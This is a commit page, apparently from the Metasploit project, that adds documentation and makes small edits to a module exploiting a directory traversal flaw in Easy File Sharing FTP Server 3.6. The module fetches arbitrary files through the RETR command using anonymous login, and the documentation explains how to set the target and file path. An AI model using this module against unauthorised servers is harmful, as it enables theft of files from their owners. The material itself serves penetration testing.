Skip to content

Commit 8afe6a9

Browse files
committed
Update easy_file_sharing_ftp and add documentation
1 parent cf8b4a7 commit 8afe6a9

File tree

2 files changed

+31
-4
lines changed

2 files changed

+31
-4
lines changed
Lines changed: 27 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
This module exploits a directory traversal vulnerability in Easy File Sharing FTP Server 3.6, or
2+
prior. It abuses the RETR command in FTP in order to retrieve a file outside the shared directory.
3+
4+
By default, anonymous access is allowed by the FTP server.
5+
6+
## Vulnerable Application
7+
8+
Easy File Sharing FTP Server version 3.6 or prior should be affected. You can download the
9+
vulnerable application from the official website:
10+
11+
http://www.efssoft.com/efsfs.exe
12+
13+
## Options
14+
15+
Since the FTP server allows anonymous access, by default, you only need to configure:
16+
17+
**RHOSTS**
18+
19+
The FTP server IP address.
20+
21+
**PATH**
22+
23+
The file you wish to download. Assume this path starts from C:\
24+
25+
## Demonstration
26+
27+
![ftp](https://cloud.githubusercontent.com/assets/1170914/23971054/4fdc2b08-099a-11e7-88ea-67a678628e49.gif)

modules/auxiliary/scanner/ftp/easy_file_sharing_ftp.rb

Lines changed: 4 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -13,7 +13,7 @@ class MetasploitModule < Msf::Auxiliary
1313

1414
def initialize(info = {})
1515
super(update_info(info,
16-
'Name' => 'Easy File Sharing FTP Server Version 3.6 and Earlier Directory Traversal Information Disclosure',
16+
'Name' => 'Easy File Sharing FTP Server 3.6 Directory Traversal',
1717
'Description' => %q{
1818
This module exploits a directory traversal vulnerability found in Easy File Sharing FTP Server Version 3.6 and Earlier.
1919
This vulnerability allows an attacker to download arbitrary files from the server by crafting
@@ -43,7 +43,7 @@ def check_host(ip)
4343
begin
4444
connect
4545
if /Easy File Sharing FTP Server/i === banner
46-
return Exploit::CheckCode::Appears
46+
return Exploit::CheckCode::Detected
4747
end
4848
ensure
4949
disconnect
@@ -58,7 +58,7 @@ def run_host(target_host)
5858
connect_login
5959
sock = data_connect
6060
if sock.nil?
61-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
61+
error_msg = 'data_connect failed; posssible invalid response'
6262
print_status(error_msg)
6363
elog(error_msg)
6464
else
@@ -72,7 +72,7 @@ def run_host(target_host)
7272
# read the file data from the socket that we opened
7373
# dont assume theres still a sock to read from. Per #7582
7474
if sock.nil?
75-
error_msg = __FILE__ <<'::'<< __method__.to_s << ':' << 'data_connect failed; posssible invalid response'
75+
error_msg = 'data_connect failed; posssible invalid response'
7676
print_status(error_msg)
7777
elog(error_msg)
7878
return

0 commit comments

Comments
 (0)